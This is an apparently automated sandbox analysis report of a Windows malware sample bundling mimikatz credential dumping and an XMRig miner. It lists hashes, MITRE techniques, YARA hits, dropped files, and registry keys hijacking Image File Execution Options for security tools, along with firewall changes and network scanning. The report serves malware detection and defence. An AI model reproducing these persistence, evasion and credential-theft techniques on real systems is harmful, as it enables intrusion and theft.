mimikatz | 034273cbdcd2a64f8b1522bbc56a953768b46bbbfc980814677525a620274cf7

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07-09-2024 11:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
Size

8.5MB
MD5

487d9e5a77a44f9410b6ab4ac3022fc9
SHA1

094b5f2338aa638dc30c71e0c60ba603715bb789
SHA256

034273cbdcd2a64f8b1522bbc56a953768b46bbbfc980814677525a620274cf7
SHA512

a59c300f4e85e1d454cd4b9017e88263ef298c367ceaa37cf7eb93bfc2b94548aecc455b27d392bb93dca70d878fc28821cc8aadd2ccb2487a6f5eac8df229fc
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2212 created 2156	2212	euiugba.exe	38

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (20539) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/5088-178-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-182-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-199-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-216-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-225-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-236-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-249-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-250-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-251-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig
behavioral2/memory/5088-253-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 4 IoCs

resource	yara_rule
behavioral2/memory/4364-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/memory/4364-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral2/files/0x00070000000234b3-6.dat	mimikatz
behavioral2/memory/1108-138-0x00007FF731B40000-0x00007FF731C2E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	euiugba.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	euiugba.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	euiugba.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4280	netsh.exe
532	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
2428	euiugba.exe
2212	euiugba.exe
3504	wpcap.exe
208	glithlcwh.exe
1108	vfshost.exe
216	wewhpbpmh.exe
1432	xohudmc.exe
1988	zefhau.exe
5088	pctkcm.exe
4040	wewhpbpmh.exe
1172	wewhpbpmh.exe
4552	wewhpbpmh.exe
1620	wewhpbpmh.exe
3172	wewhpbpmh.exe
4280	wewhpbpmh.exe
4712	wewhpbpmh.exe
4572	wewhpbpmh.exe
2560	euiugba.exe
4932	wewhpbpmh.exe
3660	wewhpbpmh.exe
3756	wewhpbpmh.exe
4564	wewhpbpmh.exe
1096	wewhpbpmh.exe
5100	wewhpbpmh.exe
2440	wewhpbpmh.exe
2208	wewhpbpmh.exe
5012	wewhpbpmh.exe
1448	eguiemhzp.exe
3184	euiugba.exe

Loads dropped DLL 12 IoCs

pid	Process
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
3504	wpcap.exe
208	glithlcwh.exe
208	glithlcwh.exe
208	glithlcwh.exe

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023503-134.dat	upx
behavioral2/memory/1108-136-0x00007FF731B40000-0x00007FF731C2E000-memory.dmp	upx
behavioral2/memory/1108-138-0x00007FF731B40000-0x00007FF731C2E000-memory.dmp	upx
behavioral2/files/0x000700000002350e-141.dat	upx
behavioral2/memory/216-142-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/216-155-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-165-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/files/0x000700000002350b-164.dat	upx
behavioral2/memory/4040-171-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/1172-175-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-178-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/4552-180-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-182-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/1620-185-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/3172-189-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/4280-193-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/4712-197-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-199-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/4572-202-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/4932-210-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/3660-214-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-216-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/3756-219-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/4564-223-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-225-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/1096-228-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5100-231-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/2440-233-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/2208-235-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-236-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/5012-238-0x00007FF750530000-0x00007FF75058B000-memory.dmp	upx
behavioral2/memory/5088-249-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/5088-250-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/5088-251-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx
behavioral2/memory/5088-253-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
70	ifconfig.me
71	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE	euiugba.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\zefhau.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE	euiugba.exe
File created	C:\Windows\SysWOW64\zefhau.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	euiugba.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	euiugba.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File opened for modification	C:\Windows\gezmcuhh\vimpcsvc.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\ucl.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\spoolsrv.exe	euiugba.exe
File created	C:\Windows\gezmcuhh\vimpcsvc.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\spoolsrv.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\upbdrjv\swrpwe.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\tucl-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\exma-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\vimpcsvc.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\docmicfg.xml	euiugba.exe
File opened for modification	C:\Windows\thgpqiiyn\Corporate\log.txt	cmd.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\trch-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\Shellcode.ini	euiugba.exe
File opened for modification	C:\Windows\thgpqiiyn\zymuetvrm\Result.txt	eguiemhzp.exe
File opened for modification	C:\Windows\thgpqiiyn\zymuetvrm\Packet.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\zlib1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\Corporate\mimilib.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\cnli-1.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\docmicfg.xml	euiugba.exe
File created	C:\Windows\gezmcuhh\docmicfg.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\svschost.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\vimpcsvc.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\docmicfg.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\Corporate\vfshost.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\trfo-2.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\ip.txt	euiugba.exe
File created	C:\Windows\thgpqiiyn\Corporate\mimidrv.sys	euiugba.exe
File created	C:\Windows\gezmcuhh\svschost.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\posh-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\svschost.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\docmicfg.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\scan.bat	euiugba.exe
File created	C:\Windows\gezmcuhh\euiugba.exe	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\xdvl-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\vimpcsvc.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\AppCapture32.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\tibe-2.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\coli-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\crli-0.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\libxml2.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\schoedcl.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\spoolsrv.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\schoedcl.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\wpcap.dll	euiugba.exe
File created	C:\Windows\gezmcuhh\schoedcl.xml	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\svschost.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\Packet.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\libeay32.dll	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\ssleay32.dll	euiugba.exe
File opened for modification	C:\Windows\gezmcuhh\euiugba.exe	2024-09-07_487d9e5a77a44f9410b6ab4ac3022fc9_hacktools_icedid_mimikatz.exe
File created	C:\Windows\gezmcuhh\spoolsrv.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\spoolsrv.xml	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\specials\svschost.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\UnattendGC\AppCapture64.dll	euiugba.exe
File created	C:\Windows\ime\euiugba.exe	euiugba.exe
File created	C:\Windows\thgpqiiyn\zymuetvrm\eguiemhzp.exe	euiugba.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3384	sc.exe
2704	sc.exe
2044	sc.exe
3196	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
